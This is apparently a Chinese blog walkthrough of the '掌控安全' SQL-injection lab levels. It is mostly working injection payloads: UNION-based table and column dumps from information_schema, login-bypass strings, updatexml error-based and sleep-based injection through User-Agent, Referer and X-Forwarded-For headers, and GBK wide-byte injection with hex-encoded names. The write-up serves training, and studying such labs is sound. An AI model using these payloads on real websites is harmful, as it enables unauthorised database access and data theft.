掌控安全
🔥系列专栏:掌控安全
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年5月20日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- 掌控安全
- 第一个
- 第二个
- 第三关
- 第四关
- 第五关
- 第六关
- 第七关
- 第八关
- 第九关
- 第十六关
- 第十七关
直接从这里开始
第一个
?id=1 and 1=1
?id=1 and 1=2
所以存在注入
接下来判断列数以及注入点
?id=1 order by 3
?id=1 order by 4 //页面不正常
所以有三列
接下来找一下注入点
?id=1 union select 1,2,3
所以2,3是注入点
接下来直接梭哈表名
?id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())
梭哈列名
?id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='error_flag')
接下来直接在对应的表中查询字段
?id=1 union select 1,2,flag from error_flag
第二个
这是一个字符型
所以我们要构造引号闭合
?id=1' or 1=1 --+
?id=1' or 1=2 --+
页面显示不同
所以存在sql注入
找一下字段
?id=1' order by 3--+
?id=1' order by 4--+
页面不同,所以有三段
然后跟之前一样了
第三关
构造括号与引号闭合
?id=1') or 1=1--+
最后加上注释符
然后都是一样
第四关
同理
?id=1") or 1=1--+
第五关
' or 1=1 --
最后面有一个空格,-- 是注释
万能密码登陆成功,所以存在sql注入
并且注释是--空
接下来猜字段
' or 1=1 order by 3 --
' or 1=1 order by 4 --
说明是三列
用or的话就要让之前的为假,这样就会输出后面为真的内容
' or 1=2 union select 1,2,3 --
后面的也一样了
' or 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns
where table_name='flag') --
接下来从flag表拿数据
' or 1=2 union select 1,flag,3 from flag --
第六关
万能密码
") or 1=1 --
同理
第七关
head注入
一般采用报错注入
报错注入采取了一些函数
在实际操作中需要绕过,利用内联,宽字节等等很多方法
同时需要注意的是,一般只有登陆成功的时候才会成功
因为只有这个时候服务器才会记录你的head头信息
所以前期爆破一下
admin/123456
我们这里直接抓包
' or sleep(10),1)#
先时间盲注一下,可以看到页面延迟了10秒,并且通过尝试知道了注释符是#
所以我们构造攻击性语句
在这里我们把这个打开,就可以自动跟踪我们发的包与上一个包的不同
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)#
User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag_head')),1),1)#
User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1)#
第八关
也是head注入
这次是在refer头
复制上面的操作
先进行时间盲注
盲注成功
接下来的操作都一样
第九关
添加一个XFF头
然后去盲注
x-forwarded-for: ' or sleep(10),1)#
盲注成功,复制即可
第十六关
之前几关都是盲注,原理很简单,但是都需要爆破批量跑数据
这里就不演示了,可以用sqlmap直接跑的
如果想知道sqlmap的原理,可以简单地burp抓一下包去看
proxifier做全局代理到bp,然后就行了
第16关是宽字节注入
可以看到多了一个反斜杠
宽字节的原理就不多说了
就是值两个单字节组成了⼀个宽字节,因为有些数据库是gbk编码产⽣的问题,在输⼊引号等特殊符号的时候,会进⾏转义添加(%5c),所以采⽤在闭合的时候与%5c组成⼀个宽字节使\作⽤失效。
id=1%df' and 1=1 --
id=1%df' and 1=2 --
可以看到那个乱码符号与\挨在了一起,所以他们两个就组成可一个宽字节,我们的被转义的引号就被释放出来了
然后接下来的就不变了,跟之前第二关的报错注入一样,但是有一个地方需要注意一下
前面的判断列数就跳过先
%df' and 1=2 union select 1,2,database() -- qqq //查询库名,这里我发现我的空格老被吃掉,所以随便放点东西,反正--空格会注释掉后面的
接下来要看看widechar库里有那些表
%df' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema = database() limit 0,1 -- qqq
得到表名为china_flag
现在我们要从china_flag中拿数据
本来应该是这样的,但是没有东西
%df' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=china_flag limit 0,1 -- qqq
因为系统编码方式(utf8)跟数据库采用的编码(gbk)方式不一样,所以再解析的时候会出现一些问题,这只在采用了gbk方式的数据库中会出现,所以我们可以将表名等信息均替换为对应的16禁止编码即可
china_flag = 0x6368696e615f666c6167
%df' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167limit 0,1 -- qqq
而后再limit 0,2看第二个字段
看到了c_flag字段
查看即可
%df' and 1=2 union select 1,2,C_Flag from china_flag limit 0,1 -- qqq
第十七关
闭合不同,其他一样
%df") and 1=2 union select 1,2,database() -- qqq